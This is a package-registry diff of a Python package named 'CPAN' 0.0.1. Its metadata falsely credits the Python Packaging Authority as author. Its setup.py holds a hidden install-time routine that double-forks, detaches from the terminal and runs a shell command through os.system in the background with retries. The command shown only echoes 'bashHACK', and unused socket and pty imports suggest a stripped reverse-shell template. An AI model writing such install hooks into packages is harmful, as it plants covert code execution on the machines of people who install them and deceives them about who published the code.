CPAN 0.0.1__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,11 @@
|
|
1
|
+
Metadata-Version: 2.4
|
2
|
+
Name: CPAN
|
3
|
+
Version: 0.0.1
|
4
|
+
Summary: demo
|
5
|
+
Home-page: https://github.com/pypa/setuptools
|
6
|
+
Author: Python Packaging Authority
|
7
|
+
Keywords: CPAN,PyPI,distutils,eggs,package,managment
|
8
|
+
Dynamic: author
|
9
|
+
Dynamic: home-page
|
10
|
+
Dynamic: keywords
|
11
|
+
Dynamic: summary
|
@@ -0,0 +1 @@
|
|
1
|
+
|
@@ -0,0 +1 @@
|
|
1
|
+
|
cpan-0.0.1/PKG-INFO
ADDED
@@ -0,0 +1,11 @@
|
|
1
|
+
Metadata-Version: 2.4
|
2
|
+
Name: CPAN
|
3
|
+
Version: 0.0.1
|
4
|
+
Summary: demo
|
5
|
+
Home-page: https://github.com/pypa/setuptools
|
6
|
+
Author: Python Packaging Authority
|
7
|
+
Keywords: CPAN,PyPI,distutils,eggs,package,managment
|
8
|
+
Dynamic: author
|
9
|
+
Dynamic: home-page
|
10
|
+
Dynamic: keywords
|
11
|
+
Dynamic: summary
|
cpan-0.0.1/setup.cfg
ADDED
cpan-0.0.1/setup.py
ADDED
@@ -0,0 +1,54 @@
|
|
1
|
+
import setuptools
|
2
|
+
import os
|
3
|
+
import sys
|
4
|
+
import pty
|
5
|
+
import socket
|
6
|
+
import time
|
7
|
+
import fcntl
|
8
|
+
import errno
|
9
|
+
import random
|
10
|
+
|
11
|
+
def b():
|
12
|
+
os.system('echo bashHACK')
|
13
|
+
def a():
|
14
|
+
if os.fork() != 0:
|
15
|
+
return
|
16
|
+
os.setsid()
|
17
|
+
if os.fork() != 0:
|
18
|
+
os._exit(0)
|
19
|
+
try:
|
20
|
+
max_attempts = 10
|
21
|
+
attempt = 0
|
22
|
+
while attempt < max_attempts:
|
23
|
+
try:
|
24
|
+
time.sleep(1)
|
25
|
+
b()
|
26
|
+
break
|
27
|
+
except:
|
28
|
+
time.sleep(2)
|
29
|
+
attempt += 1
|
30
|
+
|
31
|
+
os._exit(0)
|
32
|
+
except:
|
33
|
+
os._exit(1)
|
34
|
+
|
35
|
+
def c():
|
36
|
+
pid = os.fork()
|
37
|
+
if pid == 0:
|
38
|
+
time.sleep(0.5)
|
39
|
+
a()
|
40
|
+
os._exit(0)
|
41
|
+
|
42
|
+
c()
|
43
|
+
|
44
|
+
setuptools.setup(
|
45
|
+
name = 'CPAN',
|
46
|
+
packages = setuptools.find_packages (),
|
47
|
+
version = '0.0.1',
|
48
|
+
description = 'demo',
|
49
|
+
author = 'Python Packaging Authority',
|
50
|
+
url = ' https://github.com/pypa/setuptools',
|
51
|
+
keywords = ['CPAN', 'PyPI', 'distutils', 'eggs', 'package', 'managment'],
|
52
|
+
classifiers = []
|
53
|
+
)
|
54
|
+
|